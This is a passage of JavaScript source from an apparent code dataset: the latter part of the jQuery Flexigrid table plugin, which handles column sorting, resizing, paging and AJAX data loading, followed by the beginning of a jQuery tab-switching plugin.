if (this.dcoln > this.dcolt) $('th:eq(' + this.dcolt + ')', this.hDiv).before(this.dcol);
else $('th:eq(' + this.dcolt + ')', this.hDiv).after(this.dcol);
this.switchCol(this.dcoln, this.dcolt);
$(this.cdropleft).remove();
$(this.cdropright).remove();
this.rePosDrag();
if (p.onDragCol) {
p.onDragCol(this.dcoln, this.dcolt);
}
}
this.dcol = null;
this.hset = null;
this.dcoln = null;
this.dcolt = null;
this.colCopy = null;
$('.thMove', this.hDiv).removeClass('thMove');
$(this.cDrag).show();
}
$('body').css('cursor', 'default');
$('body').noSelect(false);
},
toggleCol: function (cid, visible) {
var ncol = $("th[axis='col" + cid + "']", this.hDiv)[0];
var n = $('thead th', g.hDiv).index(ncol);
var cb = $('input[value=' + cid + ']', g.nDiv)[0];
if (visible == null) {
visible = ncol.hidden;
}
if ($('input:checked', g.nDiv).length < p.minColToggle && !visible) {
return false;
}
if (visible) {
ncol.hidden = false;
$(ncol).show();
cb.checked = true;
} else {
ncol.hidden = true;
$(ncol).hide();
cb.checked = false;
}
$('tbody tr', t).each(
function () {
if (visible) {
$('td:eq(' + n + ')', this).show();
} else {
$('td:eq(' + n + ')', this).hide();
}
}
);
this.rePosDrag();
if (p.onToggleCol) {
p.onToggleCol(cid, visible);
}
return visible;
},
switchCol: function (cdrag, cdrop) { //switch columns
$('tbody tr', t).each(
function () {
if (cdrag > cdrop) $('td:eq(' + cdrop + ')', this).before($('td:eq(' + cdrag + ')', this));
else $('td:eq(' + cdrop + ')', this).after($('td:eq(' + cdrag + ')', this));
}
);
//switch order in nDiv
if (cdrag > cdrop) {
$('tr:eq(' + cdrop + ')', this.nDiv).before($('tr:eq(' + cdrag + ')', this.nDiv));
} else {
$('tr:eq(' + cdrop + ')', this.nDiv).after($('tr:eq(' + cdrag + ')', this.nDiv));
}
if ($.browser.msie && $.browser.version < 7.0) {
$('tr:eq(' + cdrop + ') input', this.nDiv)[0].checked = true;
}
this.hDiv.scrollLeft = this.bDiv.scrollLeft;
},
scroll: function () {
this.hDiv.scrollLeft = this.bDiv.scrollLeft;
this.rePosDrag();
},
addData: function (data) { //parse data
if (p.dataType == 'json') {
data = $.extend({rows: [], page: 0, total: 0}, data);
}
if (p.preProcess) {
data = p.preProcess(data);
}
$('.pReload', this.pDiv).removeClass('loading');
this.loading = false;
if (!data) {
$('.pPageStat', this.pDiv).html(p.errormsg);
return false;
}
if (p.dataType == 'xml') {
p.total = +$('rows total', data).text();
} else {
p.total = data.total;
}
if (p.total == 0) {
$('tr, a, td, div', t).unbind();
$(t).empty();
p.pages = 1;
p.page = 1;
this.buildpager();
$('.pPageStat', this.pDiv).html(p.nomsg);
return false;
}
p.pages = Math.ceil(p.total / p.rp);
if (p.dataType == 'xml') {
p.page = +$('rows page', data).text();
} else {
p.page = data.page;
}
this.buildpager();
//build new body
var tbody = document.createElement('tbody');
if (p.dataType == 'json') {
$.each(data.rows, function (i, row) {
var tr = document.createElement('tr');
if (i % 2 && p.striped) {
tr.className = 'erow';
}
if (row.id) {
tr.id = 'row' + row.id;
}
$('thead tr:first th', g.hDiv).each( //add cell
function () {
var td = document.createElement('td');
var idx = $(this).attr('axis').substr(3);
td.align = this.align;
// If the json elements aren't named (which is typical), use numeric order
if (typeof row.cell[idx] != "undefined") {
td.innerHTML = (row.cell[idx] != null) ? row.cell[idx] : '';//null-check for Opera-browser
} else {
td.innerHTML = row.cell[p.colModel[idx].name];
}
$(td).attr('abbr', $(this).attr('abbr'));
$(tr).append(td);
td = null;
}
);
if ($('thead', this.gDiv).length < 1) {//handle if grid has no headers
for (idx = 0; idx < cell.length; idx++) {
var td = document.createElement('td');
// If the json elements aren't named (which is typical), use numeric order
if (typeof row.cell[idx] != "undefined") {
td.innerHTML = (row.cell[idx] != null) ? row.cell[idx] : '';//null-check for Opera-browser
} else {
td.innerHTML = row.cell[p.colModel[idx].name];
}
$(tr).append(td);
td = null;
}
}
$(tbody).append(tr);
tr = null;
});
} else if (p.dataType == 'xml') {
var i = 1;
$("rows row", data).each(function () {
i++;
var tr = document.createElement('tr');
if (i % 2 && p.striped) {
tr.className = 'erow';
}
var nid = $(this).attr('id');
if (nid) {
tr.id = 'row' + nid;
}
nid = null;
var robj = this;
$('thead tr:first th', g.hDiv).each(function () {
var td = document.createElement('td');
var idx = $(this).attr('axis').substr(3);
td.align = this.align;
td.innerHTML = $("cell:eq(" + idx + ")", robj).text();
$(td).attr('abbr', $(this).attr('abbr'));
$(tr).append(td);
td = null;
});
if ($('thead', this.gDiv).length < 1) {//handle if grid has no headers
$('cell', this).each(function () {
var td = document.createElement('td');
td.innerHTML = $(this).text();
$(tr).append(td);
td = null;
});
}
$(tbody).append(tr);
tr = null;
robj = null;
});
}
$('tr', t).unbind();
$(t).empty();
$(t).append(tbody);
this.addCellProp();
this.addRowProp();
this.rePosDrag();
tbody = null;
data = null;
i = null;
if (p.onSuccess) {
p.onSuccess(this);
}
if (p.hideOnSubmit) {
$(g.block).remove();
}
this.hDiv.scrollLeft = this.bDiv.scrollLeft;
if ($.browser.opera) {
$(t).css('visibility', 'visible');
}
},
changeSort: function (th) { //change sortorder
if (this.loading) {
return true;
}
$(g.nDiv).hide();
$(g.nBtn).hide();
if (p.sortname == $(th).attr('abbr')) {
if (p.sortorder == 'asc') {
p.sortorder = 'desc';
} else {
p.sortorder = 'asc';
}
}
$(th).addClass('sorted').siblings().removeClass('sorted');
$('.sdesc', this.hDiv).removeClass('sdesc');
$('.sasc', this.hDiv).removeClass('sasc');
$('div', th).addClass('s' + p.sortorder);
p.sortname = $(th).attr('abbr');
if (p.onChangeSort) {
p.onChangeSort(p.sortname, p.sortorder);
} else {
this.populate();
}
},
buildpager: function () { //rebuild pager based on new properties
$('.pcontrol input', this.pDiv).val(p.page);
$('.pcontrol span', this.pDiv).html(p.pages);
var r1 = (p.page - 1) * p.rp + 1;
var r2 = r1 + p.rp - 1;
if (p.total < r2) {
r2 = p.total;
}
var stat = p.pagestat;
stat = stat.replace(/{from}/, r1);
stat = stat.replace(/{to}/, r2);
stat = stat.replace(/{total}/, p.total);
$('.pPageStat', this.pDiv).html(stat);
},
populate: function () { //get latest data
if (this.loading) {
return true;
}
if (p.onSubmit) {
var gh = p.onSubmit();
if (!gh) {
return false;
}
}
this.loading = true;
if (!p.url) {
return false;
}
$('.pPageStat', this.pDiv).html(p.procmsg);
$('.pReload', this.pDiv).addClass('loading');
$(g.block).css({
top: g.bDiv.offsetTop
});
if (p.hideOnSubmit) {
$(this.gDiv).prepend(g.block);
}
if ($.browser.opera) {
$(t).css('visibility', 'hidden');
}
if (!p.newp) {
p.newp = 1;
}
if (p.page > p.pages) {
p.page = p.pages;
}
var param = [{
name: 'page',
value: p.newp
}, {
name: 'rp',
value: p.rp
}, {
name: 'sortname',
value: p.sortname
}, {
name: 'sortorder',
value: p.sortorder
}, {
name: 'query',
value: p.query
}, {
name: 'qtype',
value: p.qtype
}];
if (p.params) {
for (var pi = 0; pi < p.params.length; pi++) {
param[param.length] = p.params[pi];
}
}
$.ajax({
type: p.method,
url: p.url,
data: param,
dataType: p.dataType,
success: function (data) {
g.addData(data);
},
error: function (XMLHttpRequest, textStatus, errorThrown) {
try {
if (p.onError) p.onError(XMLHttpRequest, textStatus, errorThrown);
} catch (e) {}
}
});
},
doSearch: function () {
p.query = $('input[name=q]', g.sDiv).val();
p.qtype = $('select[name=qtype]', g.sDiv).val();
p.newp = 1;
this.populate();
},
changePage: function (ctype) { //change page
if (this.loading) {
return true;
}
switch (ctype) {
case 'first':
p.newp = 1;
break;
case 'prev':
if (p.page > 1) {
p.newp = parseInt(p.page) - 1;
}
break;
case 'next':
if (p.page < p.pages) {
p.newp = parseInt(p.page) + 1;
}
break;
case 'last':
p.newp = p.pages;
break;
case 'input':
var nv = parseInt($('.pcontrol input', this.pDiv).val());
if (isNaN(nv)) {
nv = 1;
}
if (nv < 1) {
nv = 1;
} else if (nv > p.pages) {
nv = p.pages;
}
$('.pcontrol input', this.pDiv).val(nv);
p.newp = nv;
break;
}
if (p.newp == p.page) {
return false;
}
if (p.onChangePage) {
p.onChangePage(p.newp);
} else {
this.populate();
}
},
addCellProp: function () {
$('tbody tr td', g.bDiv).each(function () {
var tdDiv = document.createElement('div');
var n = $('td', $(this).parent()).index(this);
var pth = $('th:eq(' + n + ')', g.hDiv).get(0);
if (pth != null) {
if (p.sortname == $(pth).attr('abbr') && p.sortname) {
this.className = 'sorted';
}
$(tdDiv).css({
textAlign: pth.align,
width: $('div:first', pth)[0].style.width
});
if (pth.hidden) {
$(this).css('display', 'none');
}
}
if (p.nowrap == false) {
$(tdDiv).css('white-space', 'normal');
}
if (this.innerHTML == '') {
this.innerHTML = ' ';
}
tdDiv.innerHTML = this.innerHTML;
var prnt = $(this).parent()[0];
var pid = false;
if (prnt.id) {
pid = prnt.id.substr(3);
}
if (pth != null) {
if (pth.process) pth.process(tdDiv, pid);
}
$(this).empty().append(tdDiv).removeAttr('width'); //wrap content
});
},
getCellDim: function (obj) {// get cell prop for editable event
var ht = parseInt($(obj).height());
var pht = parseInt($(obj).parent().height());
var wt = parseInt(obj.style.width);
var pwt = parseInt($(obj).parent().width());
var top = obj.offsetParent.offsetTop;
var left = obj.offsetParent.offsetLeft;
var pdl = parseInt($(obj).css('paddingLeft'));
var pdt = parseInt($(obj).css('paddingTop'));
return {
ht: ht,
wt: wt,
top: top,
left: left,
pdl: pdl,
pdt: pdt,
pht: pht,
pwt: pwt
};
},
addRowProp: function () {
$('tbody tr', g.bDiv).each(function () {
$(this).click(function (e) {
var obj = (e.target || e.srcElement);
if (obj.href || obj.type) return true;
$(this).toggleClass('trSelected');
if (p.singleSelect) $(this).siblings().removeClass('trSelected');
}).mousedown(function (e) {
if (e.shiftKey) {
$(this).toggleClass('trSelected');
g.multisel = true;
this.focus();
$(g.gDiv).noSelect();
}
}).mouseup(function () {
if (g.multisel) {
g.multisel = false;
$(g.gDiv).noSelect(false);
}
}).hover(function (e) {
if (g.multisel) {
$(this).toggleClass('trSelected');
}
}, function () {});
if ($.browser.msie && $.browser.version < 7.0) {
$(this).hover(function () {
$(this).addClass('trOver');
}, function () {
$(this).removeClass('trOver');
});
}
});
},
pager: 0
};
if (p.colModel) { //create model if any
thead = document.createElement('thead');
var tr = document.createElement('tr');
for (var i = 0; i < p.colModel.length; i++) {
var cm = p.colModel[i];
var th = document.createElement('th');
th.innerHTML = cm.display;
if (cm.name && cm.sortable) {
$(th).attr('abbr', cm.name);
}
$(th).attr('axis', 'col' + i);
if (cm.align) {
th.align = cm.align;
}
if (cm.width) {
$(th).attr('width', cm.width);
}
if ($(cm).attr('hide')) {
th.hidden = true;
}
if (cm.process) {
th.process = cm.process;
}
$(tr).append(th);
}
$(thead).append(tr);
$(t).prepend(thead);
} // end if p.colmodel
//init divs
g.gDiv = document.createElement('div'); //create global container
g.mDiv = document.createElement('div'); //create title container
g.hDiv = document.createElement('div'); //create header container
g.bDiv = document.createElement('div'); //create body container
g.vDiv = document.createElement('div'); //create grip
g.rDiv = document.createElement('div'); //create horizontal resizer
g.cDrag = document.createElement('div'); //create column drag
g.block = document.createElement('div'); //creat blocker
g.nDiv = document.createElement('div'); //create column show/hide popup
g.nBtn = document.createElement('div'); //create column show/hide button
g.iDiv = document.createElement('div'); //create editable layer
g.tDiv = document.createElement('div'); //create toolbar
g.sDiv = document.createElement('div');
g.pDiv = document.createElement('div'); //create pager container
if (!p.usepager) {
g.pDiv.style.display = 'none';
}
g.hTable = document.createElement('table');
g.gDiv.className = 'flexigrid';
if (p.width != 'auto') {
g.gDiv.style.width = p.width + 'px';
}
//add conditional classes
if ($.browser.msie) {
$(g.gDiv).addClass('ie');
}
if (p.novstripe) {
$(g.gDiv).addClass('novstripe');
}
$(t).before(g.gDiv);
$(g.gDiv).append(t);
//set toolbar
if (p.buttons) {
g.tDiv.className = 'tDiv';
var tDiv2 = document.createElement('div');
tDiv2.className = 'tDiv2';
for (var i = 0; i < p.buttons.length; i++) {
var btn = p.buttons[i];
if (!btn.separator) {
var btnDiv = document.createElement('div');
btnDiv.className = 'fbutton';
btnDiv.innerHTML = "<div><span>" + btn.name + "</span></div>";
if (btn.bclass) $('span', btnDiv).addClass(btn.bclass).css({
paddingLeft: 20
});
btnDiv.onpress = btn.onpress;
btnDiv.name = btn.name;
if (btn.onpress) {
$(btnDiv).click(function () {
this.onpress(this.name, g.gDiv);
});
}
$(tDiv2).append(btnDiv);
if ($.browser.msie && $.browser.version < 7.0) {
$(btnDiv).hover(function () {
$(this).addClass('fbOver');
}, function () {
$(this).removeClass('fbOver');
});
}
} else {
$(tDiv2).append("<div class='btnseparator'></div>");
}
}
$(g.tDiv).append(tDiv2);
$(g.tDiv).append("<div style='clear:both'></div>");
$(g.gDiv).prepend(g.tDiv);
}
g.hDiv.className = 'hDiv';
$(t).before(g.hDiv);
g.hTable.cellPadding = 0;
g.hTable.cellSpacing = 0;
$(g.hDiv).append('<div class="hDivBox"></div>');
$('div', g.hDiv).append(g.hTable);
var thead = $("thead:first", t).get(0);
if (thead) $(g.hTable).append(thead);
thead = null;
if (!p.colmodel) var ci = 0;
$('thead tr:first th', g.hDiv).each(function () {
var thdiv = document.createElement('div');
if ($(this).attr('abbr')) {
$(this).click(function (e) {
if (!$(this).hasClass('thOver')) return false;
var obj = (e.target || e.srcElement);
if (obj.href || obj.type) return true;
g.changeSort(this);
});
if ($(this).attr('abbr') == p.sortname) {
this.className = 'sorted';
thdiv.className = 's' + p.sortorder;
}
}
if (this.hidden) {
$(this).hide();
}
if (!p.colmodel) {
$(this).attr('axis', 'col' + ci++);
}
$(thdiv).css({
textAlign: this.align,
width: this.width + 'px'
});
thdiv.innerHTML = this.innerHTML;
$(this).empty().append(thdiv).removeAttr('width').mousedown(function (e) {
g.dragStart('colMove', e, this);
}).hover(function () {
if (!g.colresize && !$(this).hasClass('thMove') && !g.colCopy) {
$(this).addClass('thOver');
}
if ($(this).attr('abbr') != p.sortname && !g.colCopy && !g.colresize && $(this).attr('abbr')) {
$('div', this).addClass('s' + p.sortorder);
} else if ($(this).attr('abbr') == p.sortname && !g.colCopy && !g.colresize && $(this).attr('abbr')) {
var no = (p.sortorder == 'asc') ? 'desc' : 'asc';
$('div', this).removeClass('s' + p.sortorder).addClass('s' + no);
}
if (g.colCopy) {
var n = $('th', g.hDiv).index(this);
if (n == g.dcoln) {
return false;
}
if (n < g.dcoln) {
$(this).append(g.cdropleft);
} else {
$(this).append(g.cdropright);
}
g.dcolt = n;
} else if (!g.colresize) {
var nv = $('th:visible', g.hDiv).index(this);
var onl = parseInt($('div:eq(' + nv + ')', g.cDrag).css('left'));
var nw = jQuery(g.nBtn).outerWidth();
var nl = onl - nw + Math.floor(p.cgwidth / 2);
$(g.nDiv).hide();
$(g.nBtn).hide();
$(g.nBtn).css({
'left': nl,
top: g.hDiv.offsetTop
}).show();
var ndw = parseInt($(g.nDiv).width());
$(g.nDiv).css({
top: g.bDiv.offsetTop
});
if ((nl + ndw) > $(g.gDiv).width()) {
$(g.nDiv).css('left', onl - ndw + 1);
} else {
$(g.nDiv).css('left', nl);
}
if ($(this).hasClass('sorted')) {
$(g.nBtn).addClass('srtd');
} else {
$(g.nBtn).removeClass('srtd');
}
}
}, function () {
$(this).removeClass('thOver');
if ($(this).attr('abbr') != p.sortname) {
$('div', this).removeClass('s' + p.sortorder);
} else if ($(this).attr('abbr') == p.sortname) {
var no = (p.sortorder == 'asc') ? 'desc' : 'asc';
$('div', this).addClass('s' + p.sortorder).removeClass('s' + no);
}
if (g.colCopy) {
$(g.cdropleft).remove();
$(g.cdropright).remove();
g.dcolt = null;
}
}); //wrap content
});
//set bDiv
g.bDiv.className = 'bDiv';
$(t).before(g.bDiv);
$(g.bDiv).css({
height: (p.height == 'auto') ? 'auto' : p.height + "px"
}).scroll(function (e) {
g.scroll()
}).append(t);
if (p.height == 'auto') {
$('table', g.bDiv).addClass('autoht');
}
//add td & row properties
g.addCellProp();
g.addRowProp();
//set cDrag
var cdcol = $('thead tr:first th:first', g.hDiv).get(0);
if (cdcol != null) {
g.cDrag.className = 'cDrag';
g.cdpad = 0;
g.cdpad += (isNaN(parseInt($('div', cdcol).css('borderLeftWidth'))) ? 0 : parseInt($('div', cdcol).css('borderLeftWidth')));
g.cdpad += (isNaN(parseInt($('div', cdcol).css('borderRightWidth'))) ? 0 : parseInt($('div', cdcol).css('borderRightWidth')));
g.cdpad += (isNaN(parseInt($('div', cdcol).css('paddingLeft'))) ? 0 : parseInt($('div', cdcol).css('paddingLeft')));
g.cdpad += (isNaN(parseInt($('div', cdcol).css('paddingRight'))) ? 0 : parseInt($('div', cdcol).css('paddingRight')));
g.cdpad += (isNaN(parseInt($(cdcol).css('borderLeftWidth'))) ? 0 : parseInt($(cdcol).css('borderLeftWidth')));
g.cdpad += (isNaN(parseInt($(cdcol).css('borderRightWidth'))) ? 0 : parseInt($(cdcol).css('borderRightWidth')));
g.cdpad += (isNaN(parseInt($(cdcol).css('paddingLeft'))) ? 0 : parseInt($(cdcol).css('paddingLeft')));
g.cdpad += (isNaN(parseInt($(cdcol).css('paddingRight'))) ? 0 : parseInt($(cdcol).css('paddingRight')));
$(g.bDiv).before(g.cDrag);
var cdheight = $(g.bDiv).height();
var hdheight = $(g.hDiv).height();
$(g.cDrag).css({
top: -hdheight + 'px'
});
$('thead tr:first th', g.hDiv).each(function () {
var cgDiv = document.createElement('div');
$(g.cDrag).append(cgDiv);
if (!p.cgwidth) {
p.cgwidth = $(cgDiv).width();
}
$(cgDiv).css({
height: cdheight + hdheight
}).mousedown(function (e) {
g.dragStart('colresize', e, this);
});
if ($.browser.msie && $.browser.version < 7.0) {
g.fixHeight($(g.gDiv).height());
$(cgDiv).hover(function () {
g.fixHeight();
$(this).addClass('dragging')
}, function () {
if (!g.colresize) $(this).removeClass('dragging')
});
}
});
}
//add strip
if (p.striped) {
$('tbody tr:odd', g.bDiv).addClass('erow');
}
if (p.resizable && p.height != 'auto') {
g.vDiv.className = 'vGrip';
$(g.vDiv).mousedown(function (e) {
g.dragStart('vresize', e)
}).html('<span></span>');
$(g.bDiv).after(g.vDiv);
}
if (p.resizable && p.width != 'auto' && !p.nohresize) {
g.rDiv.className = 'hGrip';
$(g.rDiv).mousedown(function (e) {
g.dragStart('vresize', e, true);
}).html('<span></span>').css('height', $(g.gDiv).height());
if ($.browser.msie && $.browser.version < 7.0) {
$(g.rDiv).hover(function () {
$(this).addClass('hgOver');
}, function () {
$(this).removeClass('hgOver');
});
}
$(g.gDiv).append(g.rDiv);
}
// add pager
if (p.usepager) {
g.pDiv.className = 'pDiv';
g.pDiv.innerHTML = '<div class="pDiv2"></div>';
$(g.bDiv).after(g.pDiv);
var html = ' <div class="pGroup"> <div class="pFirst pButton"><span></span></div><div class="pPrev pButton"><span></span></div> </div> <div class="btnseparator"></div> <div class="pGroup"><span class="pcontrol">' + p.pagetext + ' <input type="text" size="4" value="1" /> ' + p.outof + ' <span> 1 </span></span></div> <div class="btnseparator"></div> <div class="pGroup"> <div class="pNext pButton"><span></span></div><div class="pLast pButton"><span></span></div> </div> <div class="btnseparator"></div> <div class="pGroup"> <div class="pReload pButton"><span></span></div> </div> <div class="btnseparator"></div> <div class="pGroup"><span class="pPageStat"></span></div>';
$('div', g.pDiv).html(html);
$('.pReload', g.pDiv).click(function () {
g.populate()
});
$('.pFirst', g.pDiv).click(function () {
g.changePage('first')
});
$('.pPrev', g.pDiv).click(function () {
g.changePage('prev')
});
$('.pNext', g.pDiv).click(function () {
g.changePage('next')
});
$('.pLast', g.pDiv).click(function () {
g.changePage('last')
});
$('.pcontrol input', g.pDiv).keydown(function (e) {
if (e.keyCode == 13) g.changePage('input')
});
if ($.browser.msie && $.browser.version < 7) $('.pButton', g.pDiv).hover(function () {
$(this).addClass('pBtnOver');
}, function () {
$(this).removeClass('pBtnOver');
});
if (p.useRp) {
var opt = '',
sel = '';
for (var nx = 0; nx < p.rpOptions.length; nx++) {
if (p.rp == p.rpOptions[nx]) sel = 'selected="selected"';
else sel = '';
opt += "<option value='" + p.rpOptions[nx] + "' " + sel + " >" + p.rpOptions[nx] + " </option>";
}
$('.pDiv2', g.pDiv).prepend("<div class='pGroup'><select name='rp'>" + opt + "</select></div> <div class='btnseparator'></div>");
$('select', g.pDiv).change(function () {
if (p.onRpChange) {
p.onRpChange(+this.value);
} else {
p.newp = 1;
p.rp = +this.value;
g.populate();
}
});
}
//add search button
if (p.searchitems) {
$('.pDiv2', g.pDiv).prepend("<div class='pGroup'> <div class='pSearch pButton'><span></span></div> </div> <div class='btnseparator'></div>");
$('.pSearch', g.pDiv).click(function () {
$(g.sDiv).slideToggle('fast', function () {
$('.sDiv:visible input:first', g.gDiv).trigger('focus');
});
});
//add search box
g.sDiv.className = 'sDiv';
var sitems = p.searchitems;
var sopt = '', sel = '';
for (var s = 0; s < sitems.length; s++) {
if (p.qtype == '' && sitems[s].isdefault == true) {
p.qtype = sitems[s].name;
sel = 'selected="selected"';
} else {
sel = '';
}
sopt += "<option value='" + sitems[s].name + "' " + sel + " >" + sitems[s].display + " </option>";
}
if (p.qtype == '') {
p.qtype = sitems[0].name;
}
$(g.sDiv).append("<div class='sDiv2'>" + p.findtext +
" <input type='text' value='" + p.query +"' size='30' name='q' class='qsbox' /> "+
" <select name='qtype'>" + sopt + "</select></div>");
//Split into separate selectors because of bug in jQuery 1.3.2
$('input[name=q]', g.sDiv).keydown(function (e) {
if (e.keyCode == 13) {
g.doSearch();
}
});
$('select[name=qtype]', g.sDiv).keydown(function (e) {
if (e.keyCode == 13) {
g.doSearch();
}
});
$('input[value=Clear]', g.sDiv).click(function () {
$('input[name=q]', g.sDiv).val('');
p.query = '';
g.doSearch();
});
$(g.bDiv).after(g.sDiv);
}
}
$(g.pDiv, g.sDiv).append("<div style='clear:both'></div>");
// add title
if (p.title) {
g.mDiv.className = 'mDiv';
g.mDiv.innerHTML = '<div class="ftitle">' + p.title + '</div>';
$(g.gDiv).prepend(g.mDiv);
if (p.showTableToggleBtn) {
$(g.mDiv).append('<div class="ptogtitle" title="Minimize/Maximize Table"><span></span></div>');
$('div.ptogtitle', g.mDiv).click(function () {
$(g.gDiv).toggleClass('hideBody');
$(this).toggleClass('vsble');
});
}
}
//setup cdrops
g.cdropleft = document.createElement('span');
g.cdropleft.className = 'cdropleft';
g.cdropright = document.createElement('span');
g.cdropright.className = 'cdropright';
//add block
g.block.className = 'gBlock';
var gh = $(g.bDiv).height();
var gtop = g.bDiv.offsetTop;
$(g.block).css({
width: g.bDiv.style.width,
height: gh,
background: 'white',
position: 'relative',
marginBottom: (gh * -1),
zIndex: 1,
top: gtop,
left: '0px'
});
$(g.block).fadeTo(0, p.blockOpacity);
// add column control
if ($('th', g.hDiv).length) {
g.nDiv.className = 'nDiv';
g.nDiv.innerHTML = "<table cellpadding='0' cellspacing='0'><tbody></tbody></table>";
$(g.nDiv).css({
marginBottom: (gh * -1),
display: 'none',
top: gtop
}).noSelect();
var cn = 0;
$('th div', g.hDiv).each(function () {
var kcol = $("th[axis='col" + cn + "']", g.hDiv)[0];
var chk = 'checked="checked"';
if (kcol.style.display == 'none') {
chk = '';
}
$('tbody', g.nDiv).append('<tr><td class="ndcol1"><input type="checkbox" ' + chk + ' class="togCol" value="' + cn + '" /></td><td class="ndcol2">' + this.innerHTML + '</td></tr>');
cn++;
});
if ($.browser.msie && $.browser.version < 7.0) $('tr', g.nDiv).hover(function () {
$(this).addClass('ndcolover');
}, function () {
$(this).removeClass('ndcolover');
});
$('td.ndcol2', g.nDiv).click(function () {
if ($('input:checked', g.nDiv).length <= p.minColToggle && $(this).prev().find('input')[0].checked) return false;
return g.toggleCol($(this).prev().find('input').val());
});
$('input.togCol', g.nDiv).click(function () {
if ($('input:checked', g.nDiv).length < p.minColToggle && this.checked == false) return false;
$(this).parent().next().trigger('click');
});
$(g.gDiv).prepend(g.nDiv);
$(g.nBtn).addClass('nBtn')
.html('<div></div>')
.attr('title', 'Hide/Show Columns')
.click(function () {
$(g.nDiv).toggle();
return true;
}
);
if (p.showToggleBtn) {
$(g.gDiv).prepend(g.nBtn);
}
}
// add date edit layer
$(g.iDiv).addClass('iDiv').css({
display: 'none'
});
$(g.bDiv).append(g.iDiv);
// add flexigrid events
$(g.bDiv).hover(function () {
$(g.nDiv).hide();
$(g.nBtn).hide();
}, function () {
if (g.multisel) {
g.multisel = false;
}
});
$(g.gDiv).hover(function () {}, function () {
$(g.nDiv).hide();
$(g.nBtn).hide();
});
//add document events
$(document).mousemove(function (e) {
g.dragMove(e)
}).mouseup(function (e) {
g.dragEnd()
}).hover(function () {}, function () {
g.dragEnd()
});
//browser adjustments
if ($.browser.msie && $.browser.version < 7.0) {
$('.hDiv,.bDiv,.mDiv,.pDiv,.vGrip,.tDiv, .sDiv', g.gDiv).css({
width: '100%'
});
$(g.gDiv).addClass('ie6');
if (p.width != 'auto') {
$(g.gDiv).addClass('ie6fullwidthbug');
}
}
g.rePosDrag();
g.fixHeight();
//make grid functions accessible
t.p = p;
t.grid = g;
// load data
if (p.url && p.autoload) {
g.populate();
}
return t;
};
var docloaded = false;
$(document).ready(function () {
docloaded = true
});
$.fn.flexigrid = function (p) {
return this.each(function () {
if (!docloaded) {
$(this).hide();
var t = this;
$(document).ready(function () {
$.addFlex(t, p);
});
} else {
$.addFlex(this, p);
}
});
}; //end flexigrid
$.fn.flexReload = function (p) { // function to reload grid
return this.each(function () {
if (this.grid && this.p.url) this.grid.populate();
});
}; //end flexReload
$.fn.flexOptions = function (p) { //function to update general options
return this.each(function () {
if (this.grid) $.extend(this.p, p);
});
}; //end flexOptions
$.fn.flexToggleCol = function (cid, visible) { // function to reload grid
return this.each(function () {
if (this.grid) this.grid.toggleCol(cid, visible);
});
}; //end flexToggleCol
$.fn.flexAddData = function (data) { // function to add data to grid
return this.each(function () {
if (this.grid) this.grid.addData(data);
});
};
$.fn.noSelect = function (p) { //no select plugin by me :-)
var prevent = (p == null) ? true : p;
if (prevent) {
return this.each(function () {
if ($.browser.msie || $.browser.safari) $(this).bind('selectstart', function () {
return false;
});
else if ($.browser.mozilla) {
$(this).css('MozUserSelect', 'none');
$('body').trigger('focus');
} else if ($.browser.opera) $(this).bind('mousedown', function () {
return false;
});
else $(this).attr('unselectable', 'on');
});
} else {
return this.each(function () {
if ($.browser.msie || $.browser.safari) $(this).unbind('selectstart');
else if ($.browser.mozilla) $(this).css('MozUserSelect', 'inherit');
else if ($.browser.opera) $(this).unbind('mousedown');
else $(this).removeAttr('unselectable', 'on');
});
}
}; //end noSelect
})(jQuery); | 123gosaigon | trunk/ 123gosaigon/webadmin/templates/js/flexigrid.js | JavaScript | asf20 | 37,976 |
(function($){
$.fn.idTabs = function()
{
//Setup Tabs
var ul = $('ul', this); //Save scope
var self = this;
var list = $('li', ul).bind('click', function()
{
var elm = $(this);
// we set selected_section to keep active tab opened after form submit
// we do it for all forms to fix settings_dev situation: forms under tabs
if ($(self).hasClass('cm-track')) {
$('input[name=selected_section]').val(this.id);
}
if (elm.hasClass('cm-js') == false) {
return true;
}
/*if (hndl[$(ul).attr('id')]) {
if (hndl[$(ul).attr('id')](elm.attr('id')) == false) {
return false;
}
}*/
var id = '#content_' + this.id;
var aList = []; //save tabs
var idList = []; //save possible elements
$('li', ul).each(function()
{
if(this.id) {
aList[aList.length] = this;
idList[idList.length] = '#content_' + this.id;
}
});
//Clear tabs, and hide all
for (i in aList) {
$(aList[i]).removeClass('cm-active');
}
for (i in idList) {
$(idList[i]).hide();
}
//Select clicked tab and show content
elm.addClass('cm-active');
// Switch buttons block only if:
// 1. Current tab is in form and this form has cm-toggle-button class on buttons block or current tab does not belong to any form
// 2. Current tab lays on is first-level tab
var id_obj = $(id);
if (($('.cm-toggle-button', id_obj.parents('form')).length > 0 || id_obj.parents('form').length == 0) && id_obj.parents('.cm-tabs-content').length == 1) {
if (id_obj.hasClass('cm-hide-save-button')) {
$('.cm-toggle-button').hide();
} else {
$('.cm-toggle-button').show();
}
}
// Create tab content if it is not exist
if (elm.hasClass('cm-ajax') && id_obj.length == 0) {
$(self).after('<div id="' + id.substr(1) + '"></div>');
id_obj = $(id);
jQuery.ajaxRequest($('a', elm).attr('href'), {result_ids: id.substr(1), callback: [id_obj, 'initTab']});
return false;
} else {
id_obj.initTab();
if (typeof(disable_ajax_preload) == 'undefined' || !disable_ajax_preload) {
//jQuery.loadAjaxLinks($('a.cm-ajax-update', id_obj));
}
}
return false; //Option for changing url
});
//Select default tab
var test;
if ((test = list.filter('.cm-active')).length) {
test.click(); //Select tab with class 'cm-active'
} else {
list.filter(':first').click(); //Select first tab
}
$('li.cm-ajax.cm-js').not('.cm-active').each(function(){
var self = $(this);
if (!self.data('passed') && $('a', self).attr('href')) {
self.data('passed', true);
var id = 'content_' + this.id;
self.parents('.cm-j-tabs').eq(0).next().prepend('<div id="' + id + '"></div>');
$('#' + id).hide();
jQuery.ajaxRequest($('a', self).attr('href'), {result_ids: id, hidden: true, repeat_on_error: true});
}
});
return this; //Chainable
};
$(function(){ $(".cm-j-tabs").each(function(){ $(this).idTabs(); }); });
})(jQuery);
jQuery.fn.extend({
initTab: function ()
{
this.show();
control_buttons_container = $('.buttons-bg');
if (control_buttons_container.length) {
control_buttons_floating = $('.cm-buttons-floating', control_buttons_container);
if (control_buttons_container.length != control_buttons_floating.length) {
control_buttons_container.each(function () {
if (!$('.cm-buttons-floating', this).length) {
if ($('.cm-popup-box', this).length) {
$('.cm-popup-box', this).each(function () {
if ($('iframe', this).length) {
$(this).appendTo(document.body);
} else {
$(this).appendTo($(this).parents('.buttons-bg:first').parent());
}
});
}
